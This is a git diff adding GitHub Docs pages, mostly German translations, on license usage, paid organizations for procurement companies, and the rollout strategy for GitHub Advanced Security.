+    - To download the consumed license report as a CSV file, in the top right, click {% octicon "download" aria-label="The download icon" %}. For more information about reviewing the data in this report, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)."
+    - If your license includes {% data variables.product.prodname_GH_advanced_security %}, you can review your total seat use. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+
+{% elsif ghes %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.license-tab %}
+1. Review your current {% data variables.product.prodname_enterprise %} license, as well as consumed and available user licenses.{% ifversion ghes %}
+    - To download the consumed license report as a JSON file, in the top right under "Quick links", choose **Export license usage**. For more information about reviewing the data in this report, see "[Troubleshooting license usage for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise)."
+    - If your license includes {% data variables.product.prodname_GH_advanced_security %}, you can review your total seat use as well as a per-organization breakdown of committers. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security)."{% endif %}
+
+{% endif %}
+{% ifversion ghec %}
+## Viewing the last license sync date
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
+{% data reusables.enterprise-accounts.settings-tab %}
+1. In the left sidebar, click **Enterprise licensing**.
+  !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+1. To identify when the last license sync occurred, under "Enterprise Server instances", look for timestamps next to usage uploaded or synced events.
+   - "Server usage uploaded" indicates license usage between environments was manually updated when a {% data variables.product.prodname_ghe_server %} license file was uploaded.
+   - "{% data variables.product.prodname_github_connect %} server usage synced" indicates license usage between environments was automatically updated.
+   - "{% data variables.product.prodname_github_connect %} server usage never synced" indicates that {% data variables.product.prodname_github_connect %} is configured, but license usage between environments has never updated successfully.
+
+{% endif %}
diff --git a/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
new file mode 100644
index 0000000000..63ad4f8c89
--- /dev/null
+++ b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
@@ -0,0 +1,44 @@
+---
+title: Informationen zu Organisationen für Beschaffungsunternehmen
+intro: 'Unternehmen nutzen Organisationen, um an gemeinsamen Projekten mit mehreren Inhabern und Administratoren zusammenzuarbeiten. Du kannst eine Organisation für Deinen Kunden erstellen, eine Zahlung in seinem Namen tätigen und dann die Inhaberschaft der Organisation an Deinen Kunden übertragen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-organizations-for-procurement-companies
+  - /articles/about-organizations-for-resellers
+  - /articles/about-organizations-for-procurement-companies
+  - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Organizations
+shortTitle: About organizations
+ms.openlocfilehash: 9a4b4012e4de7b2aee3cc10a4c03fe18d8dc6309
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879124'
+---
+Um auf eine Organisation zugreifen zu können, muss sich jedes Mitglied bei seinem persönlichen Konto anmelden.
+
+Organisationsmitglieder können über verschiedene Rollen verfügen, z. B. *Besitzer* oder *Abrechnungsmanager*:
+
+- **Besitzer** verfügen über vollen administrativen Zugriff auf eine Organisation und deren Inhalte.
+- **Abrechnungsmanager** können die Abrechnungseinstellungen verwalten und haben keinen Zugriff auf Organisationsinhalte. Abrechnungsmanager werden in der Liste der Organisationsmitglieder nicht angezeigt.
+
+## Zahlungen und Preise für Organisationen
+
+Wir unterbreiten keine Angebote für die Preisgestaltung für Organisationen. Du kannst unsere veröffentlichten Preise für [Organisationen](https://github.com/pricing) und [Git Large File Storage](/articles/about-storage-and-bandwidth-usage/) anzeigen. Wir gewähren keine Rabatte für Beschaffungsunternehmen oder Verlängerungsaufträge.
+
+Wir akzeptieren Zahlungen in US-Dollar, wobei sich die Endverbraucher jedoch überall auf der Welt befinden können.
+
+Wir akzeptieren Zahlungen per Kreditkarte und PayPal. Wir akzeptieren keine Zahlung auf Bestellung oder Rechnung.
+
+Für einen einfacheren und effizienteren Einkauf empfehlen wir Beschaffungsunternehmen, eine jährliche Abrechnung für die Organisationen ihrer Kunden einzurichten.
+
+## Weiterführende Themen
+
+- [Erstellen von und Bezahlen für eine Organisation im Auftrag eines Kunden](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client)
+- [Durchführen eines Upgrades oder Downgrades für die kostenpflichtige Organisation deines Kunden](/articles/upgrading-or-downgrading-your-client-s-paid-organization)
+- [Verlängern der kostenpflichtigen Organisation deiner Kund*innen](/articles/renewing-your-client-s-paid-organization)
diff --git a/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md
new file mode 100644
index 0000000000..0d796111a2
--- /dev/null
+++ b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md
@@ -0,0 +1,108 @@
+---
+title: Creating and paying for an organization on behalf of a client
+intro: 'You can create and pay for a {% data variables.product.prodname_dotcom %} organization on behalf of a client.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/creating-and-paying-for-an-organization-on-behalf-of-a-client
+  - /articles/creating-and-paying-for-an-organization-on-behalf-of-a-client
+  - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client
+versions:
+  fpt: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - User account
+  - Organizations
+  - Upgrades
+shortTitle: On behalf of a client
+---
+## Requirements
+
+Before you start, make sure you know:
+- The {% data variables.product.prodname_dotcom %} username of the client who will become the owner of the organization you create
+- The name your client would like to use for the organization
+- The email address where you would like receipts to be sent
+- The [product](/articles/github-s-products) your client would like to purchase
+- The number of [paid seats](/articles/about-per-user-pricing/) your client would like you to purchase for the organization
+
+## Step 1: Create your personal {% data variables.product.prodname_dotcom %} account
+
+You will use your personal account to set up the organization. You'll also need to sign in to this account to renew or make changes to your client's subscription in the future.
+
+If you already have a personal account on {% data variables.product.prodname_dotcom %}, skip to [step 2](#step-2-create-the-organization).
+
+1. Go to the [Join GitHub](https://github.com/join) page.
+2. Under "Create your personal account," type your username, email address, and password, then click **Create an account**.
+![Create personal account entry form](/assets/images/help/billing/billing_create_your_personal_account_form.png)
+3. Select {% data variables.product.prodname_free_user %} for your personal account.
+4. Click **Finish sign up**.
+
+## Step 2: Create the organization
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.organizations %}
+{% data reusables.organizations.new-organization %}
+3. Under "Choose a plan", click **Choose {% data variables.product.prodname_free_team %}**. You will upgrade the organization in the next step.
+{% data reusables.organizations.organization-name %}
+5. Under "Contact email", type a contact email address for your client.
+  ![Contact email field](/assets/images/help/organizations/contact-email-field.png)
+{% data reusables.dotcom_billing.owned_by_business %}
+8. Click **Next**.
+
+## Step 3: Upgrade the organization to a yearly paid subscription
+
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+{% data reusables.dotcom_billing.upgrade_org %}
+{% data reusables.dotcom_billing.choose_org_plan %} (You can add more seats to the organization in the next step.)
+6. Under "Upgrade summary", select **Pay yearly** to pay for the organization yearly.
+![Radio button for yearly billing](/assets/images/help/billing/choose-annual-billing-org-resellers.png)
+{% data reusables.dotcom_billing.enter-payment-info %}
+{% data reusables.dotcom_billing.finish_upgrade %}
+
+## Step 4: Upgrade the number of paid seats in the organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+{% data reusables.dotcom_billing.add-seats %}
+{% data reusables.dotcom_billing.number-of-seats %}
+{% data reusables.dotcom_billing.confirm-add-seats %}
+
+## Step 5: Invite your client to join the organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+{% data reusables.organizations.invite_member_from_people_tab %}
+5. Type your client's {% data variables.product.prodname_dotcom %} username and press **Enter**.
+![Field to type your client's username](/assets/images/help/organizations/org-invite-modal.png)
+6. Choose the *owner* role for your client, then click **Send invitation**.
+![Owner radio button and send invitation button](/assets/images/help/organizations/add-owner-send-invite-reseller.png)
+7. Your client will receive an email inviting them to the organization. They will need to accept the invitation before you can move on to the next step.
+
+## Step 6: Transfer organization ownership to your client
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+4. Confirm that your client is listed among the members of the organization and is assigned the *owner* role.
+5. To the right of your username, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**.
+  ![The manage access link](/assets/images/help/organizations/member-manage-access.png)
+6. On the left, click **Remove from organization**.
+  ![Remove from organization button](/assets/images/help/organizations/remove-from-org-button.png)
+7. Confirm your choice and click **Remove members**.
+  ![Remove members confirmation button](/assets/images/help/organizations/confirm-remove-from-org.png)
+
+## Next steps
+
+1. Contact your client and ask them to [add you to the organization as a billing manager](/articles/adding-a-billing-manager-to-your-organization). You'll need to be a billing manager for the organization so that you can renew or make changes to your client's subscription in the future.
+2. If you would like your organization's credit card to be removed from the organization so that it's not charged again, contact {% data variables.contact.contact_support %}.
+3. When it's time to renew your client's paid subscription, see "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)."
+
+## Further reading
+
+- "[About organizations for procurement companies](/articles/about-organizations-for-procurement-companies)"
+- "[Upgrading or downgrading your client's paid organization](/articles/upgrading-or-downgrading-your-client-s-paid-organization)"
+- "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)"
diff --git a/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
new file mode 100644
index 0000000000..915fd464bd
--- /dev/null
+++ b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
@@ -0,0 +1,25 @@
+---
+title: Bezahlte Organisationen für Beschaffungsunternehmen einrichten
+shortTitle: Paid organizations for procurement companies
+intro: 'Wenn du {% data variables.product.product_name %} im Auftrag eines Kunden bezahlst, kannst du dessen Organisations- und Zahlungseinstellungen einrichten, um Komfort und Sicherheit zu erhöhen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies
+  - /articles/setting-up-and-paying-for-organizations-for-resellers
+  - /articles/setting-up-and-paying-for-organizations-for-procurement-companies
+  - /articles/setting-up-paid-organizations-for-procurement-companies
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-organizations-for-procurement-companies
+  - /creating-and-paying-for-an-organization-on-behalf-of-a-client
+  - /upgrading-or-downgrading-your-clients-paid-organization
+  - /renewing-your-clients-paid-organization
+ms.openlocfilehash: 41550a6b22f146bcc92727468e1f3cdfab370d12
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085588'
+---
+
diff --git a/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md
new file mode 100644
index 0000000000..224b022314
--- /dev/null
+++ b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md
@@ -0,0 +1,35 @@
+---
+title: Bezahltes Abonnement für die Organisation Deines Kunden verlängern
+intro: 'Wenn für die Organisation Deines Kunden eine gültige Zahlungsmethode registriert ist, wird deren jährliches Abonnement automatisch verlängert. Abrechnungsmanager können jedoch die Zahlungsmethode und das Abonnement der Organisation anzeigen und aktualisieren.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/renewing-your-clients-paid-organization
+  - /articles/renewing-your-client-s-paid-organization
+  - /articles/renewing-your-clients-paid-organization
+  - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+shortTitle: Renewing paid organization
+ms.openlocfilehash: 2b3f7e96a44cad8acaf782afb6f1c911c74f1c2d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085583'
+---
+{% data reusables.organizations.reseller-ask-to-become-billing-manager %}
+
+{% tip %}
+
+**Tipp**: Abrechnungsmanager können auch jederzeit [die Anzahl der kostenpflichtigen Arbeitsplätze der Organisation ändern](/articles/upgrading-or-downgrading-your-client-s-paid-organization).
+
+{% endtip %}
+
+## Kreditkarteninformationen Deiner Organisation ändern
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.update_payment_method %}
+1. Klicke unter „Zahlungsmethode“ auf **Neue Karte**.
+![Abrechnung: Schaltfläche „Neue Karte“](/assets/images/help/billing/billing-new-card-button.png) {% data reusables.dotcom_billing.enter-payment-info %}
diff --git a/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md
new file mode 100644
index 0000000000..6e82ee20fb
--- /dev/null
+++ b/translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md
@@ -0,0 +1,42 @@
+---
+title: Eine bezahlte Organisation Ihres Kunden herauf- oder herabstufen
+intro: Abrechnungsmanager können die bezahlte Organisation eines Kunden jederzeit upgraden oder herabstufen.
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-or-downgrading-your-clients-paid-organization
+  - /articles/upgrading-or-downgrading-your-client-s-paid-organization
+  - /articles/upgrading-or-downgrading-your-clients-paid-organization
+  - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - Upgrades
+shortTitle: Upgrade or downgrade
+ms.openlocfilehash: 2309c89fabf2a81aab18df90b8c545f0f3f684e1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085575'
+---
+{% data reusables.organizations.reseller-ask-to-become-billing-manager %}
+
+{% tip %}
+
+**Tipps**:
+- Bevor du die Organisation deines Kunden heraufstufst, kannst Du [die hinterlegte Zahlungsmethode für die Organisation anzeigen oder ändern](/articles/adding-or-editing-a-payment-method).
+- Diese Anweisungen gelten für das Herauf- und Herabstufen von Organisationen mit *arbeitsplatzabhängigem Abonnement*. Wenn dein Kunde {% data variables.product.product_name %} im Rahmen eines *älteren repositoryabhängigen* Plans bezahlt, kannst du den Legacyplan herauf- oder [herabstufen](/articles/downgrading-your-github-subscription) oder [die Organisation auf das arbeitsplatzabhängige Preismodell](/articles/upgrading-your-github-subscription) umstellen.
+
+{% endtip %}
+
+## Anzahl der bezahlten Benutzer einer Organisation heraufstufen
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.add-seats %} {% data reusables.dotcom_billing.number-of-seats %} {% data reusables.dotcom_billing.confirm-add-seats %}
+
+Nachdem Du Benutzer hinzugefügt hast, wird der für die Organisation hinterlegten Zahlungsmethode ein anteiliger Betrag in Rechnung gestellt, der auf der Anzahl der hinzugefügten Benutzer und der verbleibenden Zeit in Deinem Abrechnungszeitraum basiert.
+
+## Anzahl der bezahlten Benutzer einer Organisation auf kostenlos herabstufen
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.downgrade-org-to-free %} {% data reusables.dotcom_billing.confirm_cancel_org_plan %}
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/index.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/index.md
new file mode 100644
index 0000000000..50d1afb013
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/index.md
@@ -0,0 +1,28 @@
+---
+title: GitHub Advanced Security nach Maß einführen
+shortTitle: Adopting GHAS at scale
+intro: Ein gestaffelter Ansatz zur Einführung von GitHub Advanced Security in deinem Unternehmen mit bewährten Branchen- und GitHub-Methoden.
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Secret scanning
+  - Advanced Security
+  - Repositories
+children:
+  - /introduction-to-adopting-github-advanced-security-at-scale
+  - /phase-1-align-on-your-rollout-strategy-and-goals
+  - /phase-2-preparing-to-enable-at-scale
+  - /phase-3-pilot-programs
+  - /phase-4-create-internal-documentation
+  - /phase-5-rollout-and-scale-code-scanning
+  - /phase-6-rollout-and-scale-secret-scanning
+ms.openlocfilehash: 5430d24ecf8979f5421c6f3fea9f10ad3f580e4c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109719'
+---
+
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md
new file mode 100644
index 0000000000..504af5e80f
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md
@@ -0,0 +1,59 @@
+---
+title: Informationen zur Einführung von GitHub Advanced Security nach Maß
+intro: 'Du kannst {% data variables.product.prodname_GH_advanced_security %} gemäß bewährter Branchen- und GitHub-Methoden nach Maß in deinem Unternehmen einführen.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+shortTitle: Introduction
+redirect_from:
+  - /admin/advanced-security/overview-of-github-advanced-security-deployment
+  - /admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment
+  - /admin/advanced-security/deploying-github-advanced-security-in-your-enterprise
+  - /admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise
+miniTocMaxHeadingLevel: 2
+ms.openlocfilehash: f42a461b3c53565725d6909680fa8e6a202c0439
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109718'
+---
+## Informationen zu diesen Artikeln
+
+{% data variables.product.prodname_GH_advanced_security %} (GHAS) hilft Teams, mithilfe von integrierten Tools wie Geheimnis- und Codeüberprüfung und CodeQL schneller sicheren Code zu erstellen. Informationen zu den Sicherheitsfeatures, die über {% data variables.product.prodname_GH_advanced_security %} verfügbar sind, findest du unter [Informationen zu erweiterten GitHub-Sicherheitsfeatures](/get-started/learning-about-github/about-github-advanced-security).
+
+Bei GHAS handelt es sich um eine Sammlung von Tools, die eine aktive Beteiligung von Entwickler*innen im gesamten Unternehmen erfordert. Wenn du optimal von deiner Investition profitieren möchtest, musst du dich darüber informieren, wie du GHAS verwendest, anwendest und verwaltest.
+
+
+Wir haben ausgehend von bewährten Branchenmethoden und bewährten GitHub-Methoden eine Vorgehensweise für GHAS-Rollouts in mehreren Phasen entwickelt. Wir gehen davon aus, dass die meisten Kunden diese Phasen befolgen möchten, und zwar auf der Grundlage unserer Erfahrungen bei der erfolgreichen Bereitstellung von {% data variables.product.prodname_GH_advanced_security %}, aber möglicherweise musst du diesen Ansatz an die Bedürfnisse deines Unternehmens anpassen. 
+
+Die Aktivierung von GHAS in einer großen Organisation kann in sechs Kernphasen unterteilt werden.
+
+1. [**Deine Rolloutstrategie und -ziele abstimmen**](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals): Überlege dir, wie Erfolg aussehen soll, und stimme die Implementierung von GHAS in deinem Unternehmen darauf ab. Diese Phase dauert zwar nur ein paar Tage oder eine Woche, aber sie schafft eine solide Grundlage für den Rest des Rollouts.
+  
+2. [**Aktivierung nach Maß vorbereiten**](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale): Bereite Entwickler vor, sammle Daten zu deinen Repositorys, und stelle sicher, dass du für die nächste Phase bereit bist.
+  
+3. [**Pilotprogramme**](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs): Führe optional ein Pilotprogramm mit einem anfänglichen Rollout für einige relevante Projekte und Teams durch. Auf diese Weise kann sich eine erste Gruppe innerhalb deines Unternehmens mit GHAS vertraut machen, ehe der Rollout für den Rest deines Unternehmens erfolgt. 
+  
+4. [**Interne Dokumentation erstellen**](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation): Erstelle und kommuniziere die interne Dokumentationen für die GHAS-Benutzer. Ohne eine angemessene Dokumentation für Entwickler, Sicherheitsverantwortliche und andere GHAS-Benutzer wird der Mehrwert des Rollouts verloren gehen.
+  
+5. [**Rollout und Skalierung von {% data variables.product.prodname_code_scanning %}**](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning): Nutze die verfügbaren APIs zum automatischen Rollout von {% data variables.product.prodname_code_scanning %} nach Team und Sprache in deinem Unternehmen, und verwende dabei die zuvor gesammelten Repositorydaten.
+  
+6. [**Rollout und Skalierung von {% data variables.product.prodname_secret_scanning %}**](/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning): Führe ein Rollout von {% data variables.product.prodname_secret_scanning %} durch, das weniger Konfiguration erfordert und daher einfacher einzuführen ist als {% data variables.product.prodname_code_scanning %}. Trotzdem ist es wichtig, eine Strategie für den Umgang mit neuen und alten Ergebnissen zu haben.
+
+## {% data variables.contact.github_support %} und {% data variables.product.prodname_professional_services_team %}
+
+Wenn du während deiner Implementierung auf Probleme stößt oder Fragen hast, kannst du in unserer Dokumentation nach Lösungen suchen oder dich an {% data variables.contact.github_support %} wenden. Weitere Informationen findest du unter [Informationen zum GitHub-Support](/support/learning-about-github-support/about-github-support).
+
+Wenn du eine Anleitung während des gesamten Rolloutprozesses bevorzugst, können {% data variables.product.prodname_professional_services %} dich beim erfolgreichen Rollout und der Implementierung von {% data variables.product.prodname_GH_advanced_security %} unterstützen. Wir bieten eine Vielzahl von Möglichkeiten zur Anleitung und Unterstützung. Außerdem bieten wir Schulungen und Bootcamps an, damit du {% data variables.product.prodname_GH_advanced_security %} in deinem Unternehmen optimal nutzen kannst.
+
+Wende dich an den zuständigen Vertriebsmitarbeiter, um weitere Informationen zu allen verfügbaren Professional Services-Optionen zu erhalten. Für weitere Informationen kontaktiere das {% data variables.contact.contact_enterprise_sales %}.
+
+{% note %}
+
+Den ersten Artikel dieser Reihe findest du unter [Phase 1: Abstimmen deiner Rolloutstrategie und -ziele](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals).
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md
new file mode 100644
index 0000000000..a5a2938bbf
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md
@@ -0,0 +1,76 @@
+---
+title: 'Phase 1: Abstimmen deiner Rolloutstrategie und -ziele'
+intro: 'Ehe du {% data variables.product.prodname_code_scanning %} und {% data variables.product.prodname_secret_scanning %} aktivierst, solltest du planen, wie der Rollout von GHAS in deinem Unternehmen erfolgen soll.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+shortTitle: 1. Align on strategy
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: b2677cf11c300ad657f9bd6b8862fb1f292c2fb7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109707'
+---
+{% note %}
+
+Dieser Artikel ist Teil einer Reihe zur Einführung von {% data variables.product.prodname_GH_advanced_security %} nach Maß. Eine Einführung in diese Reihe findest du unter [Informationen zur Einführung von {% data variables.product.prodname_GH_advanced_security %} nach Maß](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale).
+
+{% endnote %}
+
+### Klare Ziele für den Rollout deines Unternehmens festlegen
+
+Um eine Grundlage für die Umsetzung des Rollouts in deinem Unternehmen zu schaffen, solltest du Ziele für GHAS in deinem Unternehmen formulieren und diese Ziele deinem Team mitteilen. Deine Ziele können einfach oder komplex sein, solange dein Team am gleichen Strang zieht. Wenn du Unterstützung bei deinen Zielen brauchst, können {% data variables.product.prodname_professional_services %} dir Empfehlungen geben, die auf unseren Erfahrungen mit deinem Unternehmen und anderen Kunden basieren.
+
+Im Folgenden findest du einige Beispiele dafür, wie deine Ziele für den Rollout von GHAS lauten könnten:
+
+  - **Reduzierung der Anzahl von Sicherheitsrisiken:** Dies kann allgemein oder deshalb formuliert werden, weil Ihr Unternehmen vor Kurzem von einem erheblichen Sicherheitsrisiko beeinträchtigt wurde, das Ihrer Meinung nach durch ein Tool wie GHAS hätte verhindert werden können.
+  - **Identifizierung von Repositorys mit hohem Risiko:** Einige Unternehmen möchten einfach die Repositorys mit dem größten Risiko gezielt anvisieren, um Risiken durch die Beseitigung von Schwachstellen zu verringern.
+  -  **Steigerung der Beseitigungsraten**: Um die Anhäufung von Sicherheitsschulden zu verhindern, solltest du die Umsetzung von Erkenntnissen durch Entwickler fördern und sicherstellen, dass diese Sicherheitsrisiken rechtzeitig behoben werden.  
+  - **Erfüllen von Complianceanforderungen**: Wir haben festgestellt, dass in vielen Unternehmen im Gesundheitswesen GHAS zur Verhinderung der Preisgabe personenbezogener Gesundheitsdaten zum Einsatz kommt.
+  - **Verhindern der Kompromittierung von Geheimnissen**: Viele Unternehmen möchten verhindern, dass wichtige Informationen kompromittiert werden, wie z. B. Softwareschlüssel oder Finanzdaten.
+
+### Das Sicherheits- und Entwicklungsteam die Leitung deines Rollouts übernehmen lassen
+
+Unternehmen, die sowohl ihr Sicherheits- als auch ihr Entwicklungsteam in den Rollout von GHAS einbinden, sind meist erfolgreicher als Unternehmen, die nur ihre Sicherheitsabteilung einbeziehen und mit der Einbeziehung der Entwicklungsabteilung warten, bis die Pilotphase abgeschlossen ist. 
+
+Bei GHAS wird in puncto Softwaresicherheit durch die nahtlose Integration in den Entwicklerworkflow ein entwicklerorientierter Ansatz verfolgt. Wenn deine Entwicklungsabteilung schon am Anfang des Prozesses maßgeblich vertreten ist, werden die Risiken deines Rollouts verringert und die Akzeptanz in der Organisation gefördert.
+
+Die frühzeitige Einbeziehung von Entwicklungsteams, idealerweise schon zum Zeitpunkt des Kaufs, hilft Unternehmen dabei, mithilfe von GHAS Sicherheitsbedenken in einem früheren Stadium des Entwicklungsprozesses aufzugreifen. Wenn beide Teams zusammenarbeiten, können sie sich frühzeitig im Prozess abstimmen, Silos beseitigen, ihre Arbeitsbeziehungen aufbauen und stärken und mehr Verantwortung für den Rollout übernehmen. 
+
+
+### Informationen zu GHAS
+
+Um realistische Erwartungen für den Rollout festzulegen, stelle sicher, dass alle Beteiligten mit den folgenden Fakten über die Funktionsweise von GHAS vertraut sind.
+
+#### 1. Bei GHAS handelt es sich um eine Sammlung von Sicherheitstools, die Maßnahmen zum Schutz deines Codes erfordern
+
+Bei GHAS handelt es sich um eine Sammlung von Tools, deren Nutzen sich erhöht, wenn sie konfiguriert, gewartet und in täglichen Workflows sowie in Kombination mit anderen Tools eingesetzt werden. 
+
+#### 2. GHAS muss nach der Implementierung angepasst werden
+
+Nachdem du GHAS für deine Repositorys eingerichtet hast, musst du die Lösung entsprechend den Anforderungen deines Unternehmens konfigurieren. Vor allem die Codeüberprüfung erfordert weitere Anpassungen, z. B. die Auswertung erster Ergebnisse und Anpassungen für künftige Überprüfungen. Viele Kunden stellen fest, dass die ersten Überprüfungen nur begrenzt nützliche bzw. irrelevante Ergebnisse liefern, bis die Codeüberprüfung auf Grundlage des Bedrohungsmodells der Anwendung angepasst wurde.
+
+#### 3. GHAS-Tools sind am effektivsten, wenn sie zusammen eingesetzt und in dein Anwendungssicherheitsprogramm integriert werden
+
+GHAS ist am effektivsten, wenn alle Tools zusammen verwendet werden. Die Wirksamkeit deines Anwendungssicherheitsprogramms wird durch die Integration von GHAS und anderen Tools und Aktivitäten, wie z. B. Penetrationstests und dynamische Überprüfungen, weiter verbessert. Es wird empfohlen, immer mehrere Schutzebenen zu verwenden.
+
